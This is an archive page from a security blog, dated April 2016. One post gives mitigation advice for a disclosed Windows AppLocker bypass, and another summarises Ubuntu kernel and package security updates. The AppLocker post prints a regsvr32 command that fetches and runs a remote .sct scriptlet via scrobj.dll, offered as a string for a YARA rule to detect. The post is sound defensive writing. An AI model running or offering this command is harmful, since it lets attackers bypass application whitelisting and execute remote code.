Daily Archives: April 24, 2016

Windows AppLocker Bypass Disclosed

Update: 26th April 2016:
After some further research, this bypass can be blocked by denying regsvr32.exe and regsvr64.exe (depending on your systems architecture) from accessing the internet.

These files are usually present in the following directories (folders):

C:\Windows\System32 (32 bit systems only)
C:\Windows\SysWOW64 (64 bit systems only)

For 64 bit systems you should block any regsvr32.exe or regsvr64.exe that you find in both of the above folders.

You can use your installed firewall to do this or use the built-in Windows Firewall to create a rule to do this. Example steps to create rules for the Windows Firewall are located here and here. Please refer to the support website of the manufacturer of your firewall or it’s user guide if you are using a 3rd party firewall.

Alternatively, you can create a YARA rule to detect the presence of the following string within the memory of the conhost.exe process that is spawned on Windows 7 and later when a script is executed:

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

The part of the string we are interested in detecting would be the text after the /i switch.

More information about the conhost.exe process is available in this article.

This bypass does not make changes to the Windows registry but .sct files may be found in the Temporary Internet Files folder. Another well-known security researcher Alex Ionescu said that Device Guard (of Windows 10), fully enabled with script protection will block this bypass as well.

Further discussion and advice for this issue are available within this blog post.

I hope that this information is useful. My thanks to a colleague (you know who you a
re!) for his very useful insights on this topic.

Thank you.

=======================
Original Post:
=======================
Last week a security researcher made publically available proof of concept code that has the ability to bypass Windows AppLocker (application whitelisting).

I have written about this issue separately using Yammer but will provide more discussion below:

Why Should This Issue Be Considered Important?
According to this ThreatPost article the researcher initially responsibly disclosed (defined) this issue to Microsoft. However, it is uncertain if Microsoft will create a security update or mitigation to address this issue since AppLocker is functioning by design. In 2011 a bypass to AppLocker was discovered by Didier Stevens which was later addressed by Microsoft with a hotfix.

With a known bypass of AppLocker now being disclosed the effectiveness of AppLocker has been significantly reduced. I’m hoping that for this new bypass a similar solution can be found. I’m a particular fan of AppLocker since it provides a strong defence against zero-day malware (defined) and ransomware (defined). It is also relatively easy to configure. An introductory post to configuring AppLocker would be this Malwarebytes blog post.

Since it runs with kernel level privileges (defined) it isn’t easy for an attacker to shut it down and can be configured to block code that is run by an administrator (defined) (unless that code is already whitelisted). The enhancements it received in Windows 10 e.g. blocking a script from being manually entered at the command prompt is a good example of defence in-depth (defined)(PDF) security.

How Can I Protect Myself From This Issue?
As mentioned above, at this time there is no known workaround for this bypass. While blocking Regsvr32.exe using AppLocker may seem like an obvious solution, this is a legitimate application that is often used by Windows especially during program installation and updates. Denying this application from running would likely lead to unexpected behavior.

I’ll monitor this issue and post here should further information become available. Thank you.

Ubuntu Issues Security Updates for April 2016

In the first week of April Ubuntu issued security updates to address vulnerabilities responsibly disclosed (defined) in the Ubuntu kernel (defined). Each vulnerability addressed was assigned a separate CVE identifier (defined).

Why Should These Issues Be Considered Important?
While no severities were assigned by Ubuntu to these issues any issue within the kernel can be consider high to critical severity (if it is remotely exploitable) since if control of the kernel can be obtained an attacker can then use that control to carry out any action of their choice. Ubuntu does however mention that the most severe of these issues can potential lead to remote code execution (the ability for an attacker to remotely carry out any action of their choice on your Ubuntu device) while the remainder can lead to denial of service conditions (defined).

The types of vulnerabilities addressed are varied and range from use-after-free (defined) vulnerabilities to timing side channel attacks (defined, in this case exploiting the timing within the Linux Extended Verification Module (EVM)) to a buffer overflow (defined) and incorrect file descriptor handling (defined).

How Can I Protect Myself From These Issues?
Within Ubuntu’s security advisory they provide the steps to download the appropriate updates for the version of Ubuntu that you are using. In addition, a system reboot is required for these updates to take effect.

In addition, 3 recent security advisories listed below were also made by available by Ubuntu, please ensure that you have followed the steps within each to ensure that you are protected from these vulnerabilities:

USN-2917-3: Firefox regressions: Addresses 34x CVEs
USN-2951-1: OptiPNG vulnerabilities: Addresses 5x CVEs
USN-2950-1: Samba vulnerabilities: Addresses 8 CVEs (among them the Badlock issue)

Thank you.